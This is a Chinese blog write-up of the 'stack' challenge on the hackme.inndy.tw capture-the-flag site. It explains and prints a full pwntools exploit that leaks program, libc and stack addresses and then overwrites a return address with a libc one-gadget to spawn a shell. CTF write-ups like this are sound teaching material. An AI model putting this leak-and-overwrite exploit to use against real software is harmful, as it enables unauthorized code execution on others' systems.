stack的wp

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/niexinming/article/details/78666941

https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了stack这个题目感觉还不错,我把wp分享出来,方便大家学习
stack的题目要求是:

nc hackme.inndy.tw 7716

Here is my C programming homework
But compiled with full protection (RELRO, PIE, NX, Stack Canary).
You can pwn it! Can't you?
https://github.com/Inndy/NTUST-CSIE-Homework/blob/master/C_Programming/2014-11-18/HW1118_B10315005_02.c

程序的源码在https://github.com/Inndy/NTUST-CSIE-Homework/blob/master/C_Programming/2014-11-18/HW1118_B10315005_02.c
这个程序很简单,就是模拟程序中栈的操作
先运行一下程序看一下这个程序干了啥
image
看到这个程序可以通过出栈的操作泄露程序的基地址,libc的基地址,程序栈的地址,入栈的时候可以在栈中写入任意数据
再看看程序开启了哪些保护:
image
看到这个程序保护全开
这个题目我的思路是通过pop栈来泄露程序的基地址,libc的基地址,栈的地址,然后通过栈中写数据,控制eip,让eip跳到libc中执行exec(/bin/sh)的地址就可以getshell了

我的exp是:

from pwn import *
import sys, os
import ctypes as ct

wordSz = 4
hwordSz = 2
bits = 32
PIE = 0
mypid=0

localMAGIC = 0x0003AC69      #locallibc
remoteMAGIC = 0x0003AC49      #remotelibc

context(arch='i386', os='linux', log_level='debug')

def leak(address, size):
   with open('/proc/%s/mem' % mypid) as mem:
      mem.seek(address)
      return mem.read(size)

def findModuleBase(pid, mem):
   name = os.readlink('/proc/%s/exe' % pid)
   with open('/proc/%s/maps' % pid) as maps:
      for line in maps:
         if name in line:
            addr = int(line.split('-')[0], 16)
            mem.seek(addr)
            if mem.read(4) == "\x7fELF":
               bitFormat = u8(leak(addr + 4, 1))
               if bitFormat == 2:
                  global wordSz
                  global hwordSz
                  global bits
                  wordSz = 8
                  hwordSz = 4
                  bits = 64
               return addr
   log.failure("Module's base address not found.")
   sys.exit(1)

def debug(addr = 0):
    global mypid
    mypid = proc.pidof(r)[0]
    raw_input('debug:')
    with open('/proc/%s/mem' % mypid) as mem:
        moduleBase = findModuleBase(mypid, mem)
        gdb.attach(r, "set follow-fork-mode parent\nb *" + hex(moduleBase+addr))


def tohex(val, nbits):
    return hex((val + (1 << nbits)) % (1 << nbits))

def base_addr(prog_addr,offset):
    return eval(prog_addr)-offset

#r = process('/home/h11p/hackme/stack')

r = remote('hackme.inndy.tw', 7716)

elf = ELF('/home/h11p/hackme/stack')
print "bss:"+hex(elf.bss())
print "puts_addr:"+hex(elf.plt["puts"])

#debug(addr=0x0715)

MAGIC_addr=0x0
stack_addr=0x0

r.recvuntil('Cmd >>\n')
r.sendline('i')
r.sendline('1234')
r.recv()
for i in xrange(0,15):
    r.sendline("p")
    myrecv=r.recv()

    if i==4:
        print str(i)+":",
        prog_addr=tohex(int(myrecv.splitlines()[0][7:]),32)
        print prog_addr
        base_module=hex(base_addr(prog_addr,0x75a))
        print "elf_addr:"+base_module
    elif i==7:
        print str(i) + ":",
        stack_addr = tohex(int(myrecv.splitlines()[0][7:]), 32)
        print "stack_addr:"+stack_addr
    elif i==13:
        print str(i) + ":",
        scanf_addr=tohex(int(myrecv.splitlines()[0][7:]), 32)
        print scanf_addr
        scanf_base_addr=hex(base_addr(scanf_addr,0xb))
        print "scanf_base_addr:"+scanf_base_addr

        # remotelibc
        libc_module = hex(base_addr(scanf_addr, 0x05bfeb))
        print "libc_module:" + libc_module
        MAGIC_addr = eval(libc_module) + remoteMAGIC
        print "MAGIC_addr:" + hex(MAGIC_addr)
        print "MAGIC_addr_10:",
        print ct.c_int32(MAGIC_addr).value


        '''
        #locallibc
        libc_module = hex(base_addr(scanf_addr, 0x5c0cb))
        print "libc_module:" + libc_module
        MAGIC_addr=eval(libc_module)+localMAGIC
        print "MAGIC_addr:"+hex(MAGIC_addr)
        print "MAGIC_addr_10:",
        print ct.c_int32(MAGIC_addr).value
        '''
for j in xrange(0,6):
    print "this is:"+str(j)
    r.sendline('i')
    #r.sendline(str(ct.c_int32(eval(stack_addr)).value))
    r.sendline(str(ct.c_int32(eval(stack_addr)+0x160).value))
    r.recv()

r.sendline('i')
#r.sendline(str(ct.c_int32(eval(stack_addr)).value))
r.sendline(str(ct.c_int32(MAGIC_addr).value))
#r.recv()

r.interactive()

因为这个题目的地址是随机的,所以根据http://blog.csdn.net/niexinming/article/details/78512274中我在echo2中的调试思路来设置断点,后面的开始利用pop来泄露程序地址,__isoc99_scanf(+11),栈地址,然后根据偏移来计算程序的基地址,libc基地址,栈地址,然后利用入栈在栈中写数据,当写入第6个参数的时候就可以覆盖stack_push的返回地址了,然后把计算好的MAGIC地址就可以getshell了,其中输入的前五个数据是栈底指针,因为覆盖栈中数据时候要保证原有栈结构不被破坏,而且泄露出来的栈地址和stack_push栈底指针的偏移是不变的
注意一点的是程序入栈操作是输入十进制,十六进制转十进制要靠ctypes.c_int32(0x123).value来转换

关于远程的libc的版本的问题:
因为程序在出栈的时候泄露了__isoc99_scanf(+11)的地址,所以利用libc-database得知远程服务器的libc版本是archive-glibc (id libc6_2.23-0ubuntu3_i386),然后逆向寻找MAGIC的地址

最后的效果
image

没有更多推荐了,返回首页